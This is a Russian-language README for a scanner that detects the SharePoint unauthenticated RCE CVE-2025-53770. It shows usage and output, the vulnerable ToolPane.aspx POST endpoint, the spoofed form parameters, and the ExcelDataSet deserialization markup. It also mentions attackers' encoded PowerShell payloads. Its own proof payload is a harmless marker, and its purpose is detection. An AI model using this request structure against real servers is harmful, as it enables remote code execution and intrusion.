
Сканер для zero-day уязвимости RCE CVE-2025-53770 в SharePoint.
Это сканер для уязвимости удалённого выполнения кода в SharePoint без аутентификации, которой присвоен номер CVE-2025-53770. Код написан на основе реверс-инжиниринга эксплойта, обнаруженного в дикой природе.
Используйте на свой страх и риск, я не несу ответственности за любой негативный эффект, который это может вызвать.
Инструмент пытается использовать уязвимость, внедряя маркер в виджет ToolBox в SharePoint. Если в ответе сервера SharePoint обнаружен этот безвредный маркер, хост помечается как уязвимый.
# проверить, уязвим ли <TARGET-HOSTNAME>, и попытаться извлечь информацию о версии
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# включить отладочное логирование и попытаться получить информацию о версии SharePoint
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Любой, кто использует локальную (on-prem) версию сервера SharePoint без KB5002768 и KB5002754.
Предположительно, уязвимость основана на ранее раскрытой уязвимости SharePoint CVE-2025-49706.
Отправив HTTP POST-запрос на https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx с полезной нагрузкой, сжатой GZIP и закодированной в BASE64, можно добиться удалённого выполнения кода в процессе среды выполнения SharePoint.
Здесь важны два параметра формы:
MSOTlPn_Uri: путь к исходному элементу управленияОн имитирует ссылку на легитимный элемент управления SharePoint (AclEditor.ascx) и обманом заставляет SharePoint разрешить редактирование веб-части.
Похоже, это фиктивное значение, предназначенное только для прохождения проверки.
В исходной вредоносной полезной нагрузке используется MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, но, судя по всему, на этом этапе он не используется.
MSOTlPn_DWP: конфигурация веб-части.Этот параметр внедряет пользовательские директивы ASP.NET (<%@ Register %>) и серверную разметку (<Scorecard:ExcelDataSet>).
Параметр CompressedDataTable содержит управляемые атакующим сериализованные данные (GZIP + base64), что приводит к RCE.
Эта полезная нагрузка имеет определённую структуру:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Если такой элемент управления, как Scorecard:ExcelDataSet, существует и задано его свойство CompressedDataTable, он десериализуется напрямую парсером DWP в SharePoint.
Сама полезная нагрузка может быть довольно интересной, поскольку она может содержать System.DelegateSerializationHolder, который вызывает RCE через десериализацию.
Злоумышленники злоупотребляли этим, передавая /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> в своей полезной нагрузке для выполнения кода.
В нашем случае мы просто передаём статический заполнитель, чтобы доказать возможность эксплуатации:
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>